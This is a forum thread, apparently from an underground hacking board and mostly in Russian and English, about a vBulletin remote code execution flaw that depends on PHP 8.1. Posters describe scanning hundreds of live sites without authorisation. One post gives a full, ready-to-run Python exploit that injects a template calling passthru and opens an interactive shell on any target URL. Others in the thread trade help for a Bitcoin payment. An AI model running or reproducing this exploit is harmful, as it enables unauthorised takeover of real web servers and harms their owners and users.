так закинь на гитхаб-то)Посмотреть вложение 107939
Скрипт я ему уже отправил в среду. Благодарность в виде "Спс!" получил. Так что можно закрывать
Ахаха, мышь ипаная
Уважаемые модеры, мне кажется, или за такое нужно банить?Скрипт я ему уже отправил в среду. Благодарность в виде "Спс!" получил. Так что можно закрывать
This issue arises from the misuse of the PHP Reflection API in the vBulletin API controller logic, combined with specific changes introduced in PHP 8.1 that allow protected (and even private) methods to be invoked, for example, via the ReflectionMethod::invoke() method.
Yeah, I read the writeup for the vulnerability, I was just saying that even though vbulletin is used widely but the specific requirements for this particular vulnerability to allow for RCE are rare to find, I mean so far I have tested against at least 200 something sites, none of them got me RCE so far. Found the vbulletin versions that were identified but php version was not up to date, where php was identified to be 8.1 and above, the vbulletin version did not match. Maybe someone else has had better luck in trying to exploit this.This issue arises from the misuse of the PHP Reflection API in the vBulletin API controller logic, combined with specific changes introduced in PHP 8.1 that allow protected (and even private) methods to be invoked, for example, via the ReflectionMethod::invoke() method.
You can visit this link for further reading:
Don't Call That "Protected" Method: Dissecting an N-Day vBulletin RCE | Karma(In)Security
This is the personal website of Egidio Romano, a very curious guy from Sicily, Italy. He's a computer security enthusiast, particularly addicted to webapp security.karmainsecurity.com
For clarity i was using the php script given in the write, have not tested the msf module or the python script you shared, will test and see if they get me any results.
Same for me, I ran about 100 or so and have not been able to get RCE on a single one. I see lots online about 100k+ vulnerable but I do not think this is the case at all, id say less than 5% will be vulnerable.
styleid шаблон просто не применится, и RCE не сработает. styleid и запускает оболочку.
import sys
import requests
import urllib3
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print("\n+---------------------------------------------------------------------+")
print("| vBulletin (replaceAdTemplate) RCE Exploit – Targeted Attack |")
print("+---------------------------------------------------------------------+\n")
if len(sys.argv) != 2:
print("Usage: python3 rce.py https://target.site/")
sys.exit(1)
target = sys.argv[1].rstrip("/")
main_url = target
template_url = main_url + "/ajax/api/ad/replaceAdTemplate"
render_url = main_url + "/ajax/render/ad_rce"
sess = requests.Session()
sess.verify = False
sess.headers.update({"User-Agent": "Mozilla/5.0"})
def get_styleid():
try:
r = sess.get(main_url + "/forum", timeout=10)
match = re.search(r'styleid=(\d+)', r.text, re.IGNORECASE)
return match.group(1) if match else "1"
except:
return "1"
styleid = get_styleid()
print(f"[+] Using styleid: {styleid}")
payload = {
"routestring": "ajax/api/ad/replaceAdTemplate",
"styleid": styleid,
"location": "rce",
"template": '<vb:if condition=\'"passthru"($_POST["cmd"])\'></vb:if>'
}
resp = sess.post(template_url, data=payload)
if resp.text.strip() != "null":
print("[-] Failed to inject template.")
sys.exit(1)
print("[+] Template successfully injected. Entering shell (type 'exit' to quit).\n")
while True:
try:
cmd = input("vBulletin-shell# ").strip()
if cmd == "exit":
break
data = {
"routestring": "ajax/render/ad_rce",
"cmd": cmd
}
r = sess.post(render_url, data=data)
match = re.search(r'(.*?)\{"template":', r.text, re.DOTALL)
if match:
print(match.group(1).strip())
else:
print(r.text.strip())
except KeyboardInterrupt:
breakи раскрыл всем на обозрение кошель-BTC Братки)Vinki Ziger14
Охренеть, просраться не успеешь тебя давай банить
Братку закинул за помощь, не надо нервничать.
Пацан сказал пацан сделал)
Пруф
Bitcoin transaction 720450064600d3d5fc0e04e0fd3b196cd44adf27191999374a9e78b2357cbb4c
Inspect Bitcoin transaction 720450064600d3d5fc0e04e0fd3b196cd44adf27191999374a9e78b2357cbb4c: check hash, date, and event details with Blockchair.blockchair.com
